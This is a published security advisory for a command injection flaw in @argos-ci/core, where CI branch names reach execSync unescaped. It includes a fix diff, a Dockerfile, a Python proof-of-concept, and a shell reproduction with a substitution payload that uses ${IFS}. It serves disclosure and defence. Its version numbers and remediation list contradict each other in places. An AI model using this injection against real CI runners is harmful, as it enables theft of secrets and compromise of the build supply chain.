GHSA-4x45-gxvp-6283: OS Command Injection

Published Sep 10, 2026
·
Updated

CI Branch Name OS Command Injection in @argos-ci/core

Summary

@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:

ts function gitFetch(input: { ref: string; depth: number; target: string }) { execSync( git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}, ); }

execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.

A secondary sink exists at packages/core/src/ci-environment/git.ts:67:

ts execSync(git merge-base ${input.head} ${input.base})

Complete data flow (source → sink):

1. packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUBHEADREF without validation (source). 2. packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context. 3. packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch. 4. packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization. 5. packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false. 6. packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch(). 7. packages/core/src/ci-environment/git.ts:89 — sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).

There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.

Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:

diff -import { execSync } from "node:childprocess"; +import { execFileSync, execSync } from "node:childprocess";

function gitFetch(input: { ref: string; depth: number; target: string }) { - execSync( - git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}, - ); + execFileSync("git", [ + "fetch", "--force", "--update-head-ok", + "--depth", String(input.depth), + "origin", ${input.ref}:${input.target}, + ]); }

function gitMergeBase(input: { base: string; head: string }) { - return execSync(git merge-base ${input.head} ${input.base}).toString().trim(); + return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim(); }

PoC

Prerequisites: - Docker installed on the test machine. - Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.

Step 1 — Build the Docker image:

bash docker build -t argos-vuln-001 \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/npmAI634argos-ciargos-javascript/

The Dockerfile: - Uses node:22 as the base. - Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote. - Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry. - Copies poc.py as the container entrypoint.

Step 2 — Run the container:

bash docker run --rm argos-vuln-001

What the PoC (poc.py) does:

1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path. 2. Sets ARGOSBRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc). - $(...) is shell command substitution. - ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc. 3. Runs argos upload <empty-dir> --files '.png' with the malicious environment. 4. Checks for the marker file /tmp/argos-ci-cve-poc.

Expected output:

============================================================ [PASS] VULNERABILITY CONFIRMED [PASS] Marker file exists: /tmp/argos-ci-cve-poc [PASS] The shell command injected via ARGOSBRANCH was executed [PASS] by execSync() inside gitFetch() (git.ts:88-90). ============================================================

The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.

Manual reproduction (without Docker):

bash mkdir -p /tmp/argos-poc && cd /tmp/argos-poc git init && git remote add origin https://github.com/argos-ci/argos-javascript.git

Start a minimal mock API server (background) node -e " const http = require('http'); http.createServer((req, res) => { if (req.url === '/v2/project') { res.writeHead(200, {'content-type':'application/json'}); res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false})); return; } res.writeHead(200, {'content-type':'application/json'}); res.end('{}'); }).listen(7777); " &

mkdir empty rm -f /tmp/argos-ci-cve-poc ARGOSAPIBASEURL=http://127.0.0.1:7777/v2/ \ ARGOSTOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \ ARGOSCOMMIT=0123456789abcdef0123456789abcdef01234567 \ ARGOSBRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \ npx -y @argos-ci/cli@5.0.5 upload empty --files '.png' || true

test -f /tmp/argos-ci-cve-poc && echo "COMMANDEXECUTED"

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUBHEADREF / ARGOSBRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.

Who is impacted:

- Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in pullrequesttarget or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Reproduction artifacts

Dockerfile

dockerfile FROM node:22

Install git and Python 3 RUN apt-get update && \ apt-get install -y --no-install-recommends git python3 && \ rm -rf /var/lib/apt/lists/

Configure git identity for commits inside the container RUN git config --global user.email "poc@test.local" && \ git config --global user.name "PoC Test" && \ git config --global init.defaultBranch main

Create a local bare repository that acts as the "origin" remote. This lets git fetch succeed (reaching a real remote is not required for the injection -- the shell expands $() before git connects -- but a working remote means getMergeBaseCommitSha() returns a real SHA and the full upload code-path is exercised without extra noise from git errors.) RUN git init --bare /remote.git

Create the working repository with the bare repo as origin RUN git init /git-workspace && \ cd /git-workspace && \ git remote add origin /remote.git && \ echo "initial" > README.md && \ git add README.md && \ git commit -m "Initial commit" && \ git branch -M main && \ git push -u origin main

Copy the cloned repository source for reference / source evidence. The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90. COPY repo /argos-repo

Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0) from the public npm registry -- same version as the cloned repository. RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn

Copy the Python PoC script COPY vuln-001/poc.py /poc.py

Run from inside the git workspace so that git commands find the correct repo WORKDIR /git-workspace

ENTRYPOINT ["python3", "/poc.py"]

poc.py

python #!/usr/bin/env python3 """ PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0

Vulnerability: CWE-78 (OS Command Injection) Affected file: packages/core/src/ci-environment/git.ts:87-90

The gitFetch() function passes user-controlled ref strings directly into an execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so shell metacharacters in the string -- including $() command substitution -- are evaluated before git runs.

Attack chain (source -> sink): env.GITHUBHEADREF / ARGOSBRANCH -> config.ts:119-122 (String cast, no sanitisation) -> upload.ts:285 getMergeBaseCommitSha({ head: config.branch }) -> git.ts:123 gitFetch({ ref: input.head, ... }) -> git.ts:89 execSync(git fetch ... origin ${input.ref}:${input.target}) ^^^^^^^^ shell injection sink

This script: 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false for GET /v2/project, triggering the getMergeBaseCommitSha() code-path. 2. Invokes the argos CLI with ARGOSBRANCH set to a malicious value containing a $() command substitution. 3. Checks for a filesystem artefact that proves execution. """

import json import os import subprocess import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer

File created by the injected command -- its existence proves execution. MARKERFILE = "/tmp/argos-ci-cve-poc"

Port for the mock Argos API server. MOCKPORT = 7777

class MockArgosAPI(BaseHTTPRequestHandler): """Minimal mock of the Argos REST API.

Only two responses matter: - GET /v2/project -- must return hasRemoteContentAccess=false to trigger the git-based merge-base discovery code-path. - POST /v2/builds -- needs to return a recognisable structure so the SDK does not abort before we can observe the side-effect. """

def logmessage(self, fmt, args): # Suppress per-request log noise; PoC progress messages are enough. pass

def sendjson(self, status: int, body: dict) -> None: raw = json.dumps(body).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(raw))) self.endheaders() self.wfile.write(raw)

def doGET(self): if self.path.rstrip("/") == "/v2/project": # hasRemoteContentAccess=false is the precondition that makes the # SDK call getMergeBaseCommitSha() instead of fetching from the # Git provider API. This is the key to reaching the sink. self.sendjson(200, { "id": "proj-1", "defaultBaseBranch": "main", "hasRemoteContentAccess": False, }) else: self.sendjson(200, {})

def doPOST(self): # Drain request body to keep the connection clean. length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) if "/builds" in self.path: # Return the minimal structure the SDK dereferences after POST /builds. self.sendjson(201, { "id": "build-1", "url": "http://localhost/build/1", "screenshots": [], "pwTraces": [], }) else: self.sendjson(200, {})

def doPUT(self): length = int(self.headers.get("Content-Length", 0)) self.rfile.read(length) self.sendjson(200, {})

def startmockserver() -> HTTPServer: server = HTTPServer(("127.0.0.1", MOCKPORT), MockArgosAPI) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() return server

def main(): print("[] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection") print("[] Source sink: packages/core/src/ci-environment/git.ts:87-90") print()

# Remove any stale marker from a previous run. if os.path.exists(MARKERFILE): os.remove(MARKERFILE)

# Start the mock Argos API. server = startmockserver() print(f"[] Mock Argos API server listening on 127.0.0.1:{MOCKPORT}")

# Build the malicious branch name. # Breakdown: # main -- valid branch prefix so git ref looks plausible # $(...) -- shell command substitution, evaluated by /bin/sh # touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space # filters and forming "touch <path>" maliciousbranch = f"main$(touch${{IFS}}{MARKERFILE})" print(f"[] Malicious ARGOSBRANCH value: {maliciousbranch}") print(f"[] Expected shell expansion: touch {MARKERFILE}") print()

# Empty upload directory -- no real screenshots needed. The injection # occurs during merge-base discovery before any upload loop runs. uploaddir = "/tmp/argos-empty-upload" os.makedirs(uploaddir, existok=True)

env = dict(os.environ) env.update({ "ARGOSAPIBASEURL": f"http://127.0.0.1:{MOCKPORT}/v2/", "ARGOSTOKEN": "a" 40, "ARGOSCOMMIT": "0" 40, "ARGOSBRANCH": maliciousbranch, # Disable update-notifier noise inside the CLI. "NOUPDATENOTIFIER": "1", })

print("[] Running: argos upload <empty-dir> --files '.png'") result = subprocess.run( ["argos", "upload", uploaddir, "--files", ".png"], env=env, captureoutput=True, text=True, # CWD must be a git repository with an 'origin' remote so that # git fetch has a valid context. /git-workspace is prepared in the # Dockerfile for this purpose. cwd="/git-workspace", )

print(f"[] CLI exit code : {result.returncode}") if result.stdout.strip(): print(f"[] CLI stdout : {result.stdout.strip()[:600]}") if result.stderr.strip(): print(f"[] CLI stderr : {result.stderr.strip()[:600]}")

server.shutdown() print()

# --- Verdict --- if os.path.exists(MARKERFILE): print("=" 60) print("[PASS] VULNERABILITY CONFIRMED") print(f"[PASS] Marker file exists: {MARKERFILE}") print("[PASS] The shell command injected via ARGOSBRANCH was executed") print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).") print("=" 60) sys.exit(0) else: print("=" 60) print("[FAIL] Marker file not found -- injection did not trigger.") print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.") print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.") print("=" 60) sys.exit(1)

if name == "main": main()

Affected Software

1 affected componentFixes available
npm/@argos-ci/core<=6.2.0
6.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@argos-ci/core to a version that resolves this vulnerability.

    Fixed in 6.2.1
  2. Upgrade

    Upgrade @argos-ci/core to a version that resolves this vulnerability.

    Fixed in 6.2.0
  3. Upgrade

    Upgrade @argos-ci/cli to a version that resolves this vulnerability.

    Fixed in 5.1.0
  4. Configuration

    In packages/core/src/ci-environment/git.ts (execSync sink at lines 89-90), replace template-literal execSync usage (e.g., `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}` and `git merge-base ...`) with execFileSync (or equivalent) using argument arrays so /bin/sh -c is not invoked and shell metacharacters in ref/target cannot execute.

    @argos-ci/core (packages/core/src/ci-environment/git.ts) replace execSync template-literal calls = use execFileSync with argument arrays instead of shell command strings
  5. Compensating control

    Ensure CI Argos configuration uses hasRemoteContentAccess: false only in environments where attacker-controlled branch/ref names cannot be supplied; otherwise branch/ref injection is evaluated before git runs during merge-base discovery (OS command injection via $() in shell).

Event History

Sep 10, 2026
Advisory Published
via GitHub·10:34 PM
Data Sourced
via GitHub·10:34 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which CI jobs are exposed to this issue?

Jobs using @argos-ci/core version 6.2.0 are exposed when the project has hasRemoteContentAccess set to false and the Argos upload flow invokes getMergeBaseCommitSha(). The affected path fetches a ref using a shell command.

2

What access does an attacker need to exploit it?

An attacker needs the ability to influence the CI branch or ref string, such as through a pull request. Shell metacharacters in that value can be evaluated by /bin/sh before git runs, resulting in command execution on the CI runner.

3

What version should be used to remediate the issue?

Update @argos-ci/core from version 6.2.0 to version 6.2.1, which is the release referenced for the security fix.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203